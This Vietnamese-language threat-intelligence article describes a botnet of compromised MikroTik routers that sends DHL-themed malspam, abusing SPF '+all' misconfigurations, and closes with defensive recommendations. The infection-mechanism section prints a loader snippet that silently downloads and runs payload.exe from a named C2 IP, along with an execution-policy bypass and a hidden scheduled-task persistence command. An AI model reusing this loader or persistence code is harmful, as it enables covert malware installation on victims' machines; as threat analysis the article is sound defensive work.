# Botnet lợi dụng cấu hình DNS sai để phát tán mã độc qua chiến dịch malspam

## Phát hiện ban đầu

Không lâu trước đây, nhóm Infoblox Threat Intel đã phát hiện một botnet quy mô lớn phân phối mã độc thông qua các chiến dịch spam, với kỹ thuật giả mạo tên miền gửi đi. Khác với dạng email spoofing thường thấy, chiến dịch này khai thác **cấu hình sai trong DNS (SPF records)** để vượt qua các cơ chế bảo vệ email.

Botnet này được xây dựng từ hàng loạt thiết bị MikroTik bị xâm nhập, vận hành như một mạng lưới toàn cầu chuyên gửi email độc hại giả mạo các tên miền hợp pháp. Dù mẫu malspam quan sát được chủ yếu phát tán trojan, botnet có khả năng phục vụ cho nhiều hoạt động ác ý khác.

## Tổng quan về botnet

Botnet là tập hợp các thiết bị bị chiếm quyền điều khiển từ xa nhằm thực hiện các hành vi độc hại trên diện rộng. Nhờ tính chất phân tán, botnet vừa khó bị triệt phá vừa che giấu được danh tính kẻ tấn công.

Một số mục đích phổ biến của botnet gồm:

* **DDoS**: tấn công từ chối dịch vụ bằng cách làm nghẽn hạ tầng mạng hoặc dịch vụ trực tuyến.
    
* **Spam & phishing**: gửi số lượng lớn email rác hoặc lừa đảo nhằm đánh cắp thông tin.
    
* **Credential stuffing**: thử hàng loạt cặp tài khoản/mật khẩu để chiếm đoạt truy cập.
    
* **Data theft**: đánh cắp dữ liệu cá nhân, tài chính, hoặc tài sản trí tuệ.
    
* **Cryptojacking**: lợi dụng tài nguyên hệ thống để đào tiền mã hóa.
    
* **Proxy networks**: biến thiết bị thành proxy che giấu vị trí thực sự.
    
* **Click fraud**: tạo lượt nhấp giả để gian lận quảng cáo trực tuyến.
    

## Chiến dịch malspam: “Hóa đơn bất ngờ”

Cuối tháng 11, các nhà nghiên cứu ghi nhận một chiến dịch spam giả mạo DHL, gửi đi email có nội dung về hóa đơn vận chuyển. Tệp đính kèm thường mang tên dạng **InvoiceXXX.zip** hoặc **TrackingXXX.zip**, bên trong là mã độc trojan.

Quá trình phân tích cho thấy tập tin JavaScript obfuscate sẽ thực thi PowerShell kết nối tới máy chủ C2 tại **62.133.60\[.\]137** (AS215540), vốn có lịch sử liên quan đến hoạt động từ Nga.

## Cơ chế lây nhiễm (Infection Mechanism)

Cuộc tấn công bắt đầu từ một tệp ZIP chứa file JavaScript đã được obfuscate. Khi người dùng giải nén và chạy tệp này, script tạo và gọi một loader PowerShell, loader này sẽ kết nối đến máy chủ C2 để tải xuống các payload tiếp theo.

Đoạn mã JavaScript minh họa cách lệnh PowerShell được gọi:

```powershell
var cmd = 'powershell -NoProfile -WindowStyle Hidden -Command ' +
          '"$wc = New-Object System.Net.WebClient; ' +
          '$wc.DownloadFile(\'http://62.133.60.137/payload.exe\', \'C:\\Users\\Public\\payload.exe\'); ' +
          'Start-Process \'C:\\Users\\Public\\payload.exe\'"';
WScript.Shell.Run(cmd, 0, true);
```

Khi loader PowerShell chạy, nó kiểm tra ngữ cảnh thực thi bằng `Get-ExecutionPolicy`. Nếu chính sách chặn việc chạy script, malware tạm thời bỏ qua giới hạn này bằng:

```powershell
Set-ExecutionPolicy Bypass -Scope Process
```

Để duy trì sự tồn tại trên hệ thống, malware tạo một scheduled task tên **"Updater"** chạy khi người dùng đăng nhập:

```python
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -File C:\Users\Public\payload.exe'
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'Updater' -Description 'System Updater'
```

Phương thức này đảm bảo payload được tái khởi động sau mỗi lần khởi động/đăng nhập, làm tăng độ bền của chiến dịch và khó bị loại bỏ.

### Hạ tầng botnet dựa trên MikroTik

![Figure 1: Infoblox Ecosystem Architecture](https://blogs.infoblox.com/wp-content/uploads/one-mikro-typo-how-a-simple-dns-misconfiguration-enables-malware-delivery-by-a-russian-botnet-figure-1.jpg align="left")

Trong hàng chục nghìn email thu thập được, phân tích header cho thấy khoảng **13.000 thiết bị MikroTik bị chiếm quyền điều khiển**. Các router này được cài script kích hoạt SOCKS proxy, biến chúng thành bộ chuyển tiếp TCP. Cấu hình này vừa che giấu nguồn gốc lưu lượng, vừa khiến toàn bộ botnet có thể bị các tác nhân khác lợi dụng.

Điều đáng lo ngại là nhiều thiết bị bị khai thác ngay cả khi đã chạy firmware mới. Nguyên nhân có thể xuất phát từ việc tồn tại tài khoản mặc định `admin` không mật khẩu, hoặc các lỗ hổng RCE trước đó. Việc chạy SOCKS proxy công khai (open SOCKS4) làm cho mạng proxy này trở thành tài nguyên chia sẻ cho nhiều tác nhân, gia tăng quy mô và độ hiểm độc của các hoạt động tiếp theo (ví dụ: phát tán mã độc, chuyển tiếp lưu lượng C2, hoặc che giấu DDoS).

### DNS SPF – “cửa hậu” cho malspam

Để lọt qua các bộ lọc email, kẻ tấn công đã lợi dụng cấu hình sai trong **SPF records**.

Ví dụ đúng:

```python
v=spf1 include:example.com -all
```

Trong đó `-all` yêu cầu từ chối mọi máy chủ không được ủy quyền.

Ví dụ sai mà chiến dịch này tận dụng:

```python
v=spf1 include:example.com +all
```

Cấu hình này cho phép bất kỳ máy chủ nào gửi email dưới tên miền hợp pháp, gần như vô hiệu hóa SPF. Trong chiến dịch được phát hiện, có tới **20.000 tên miền** bị lạm dụng theo cách này.

## Kết luận

Điều tra cho thấy:

* Hơn **13.000 router MikroTik** bị lây nhiễm và vận hành như proxy mở (SOCKS4).
    
* Khoảng **20.000 tên miền** bị lợi dụng do cấu hình SPF sai.
    
* Mạch lây nhiễm bắt đầu từ file JavaScript obfuscated trong ZIP, tiếp theo là loader PowerShell, bypass execution policy khi cần và tạo scheduled task để duy trì persistence.
    

## Khuyến nghị

Botnet này có thể phục vụ nhiều mục đích độc hại: từ phát tán mã độc, DDoS đến lừa đảo và đánh cắp dữ liệu. Phía FPT Threat Intelligence đưa ra các khuyến nghị sau:

* **Cấu hình đúng SPF, DKIM, DMARC**.
    
* **Thường xuyên kiểm tra bảo mật thiết bị** (đặc biệt router/thiết bị biên) để ngăn việc bị lợi dụng làm proxy.
    
* **Loại bỏ tài khoản mặc định, cập nhật firmware**, và tắt dịch vụ không cần thiết trên thiết bị mạng.
    
* Người quản trị có thể dễ dàng kiểm tra SPF bằng:
    

* **Trên Linux/macOS**:
    
    ```python
    dig +short txt example.com | grep spf
    ```
    
* **Trên Windows**:
    
    ```python
    nslookup -type=txt example.com | Select-String -Pattern "spf"
    ```
    

## Tham khảo

* [How A Large-Scale Russian Botnet Operation Stays Under the Radar](https://blogs.infoblox.com/threat-intelligence/one-mikro-typo-how-a-simple-dns-misconfiguration-enables-malware-delivery-by-a-russian-botnet/)
    
* [DNS Misconfiguration Exploited as New Botnet Launches Large Scale Cyber Attack](https://cyberpress.org/dns-misconfiguration/)
    
* [New Botnet Leverages DNS Misconfiguration to Launch Massive Cyber Attack](https://cybersecuritynews.com/new-botnet-leverages-dns-misconfiguration/)
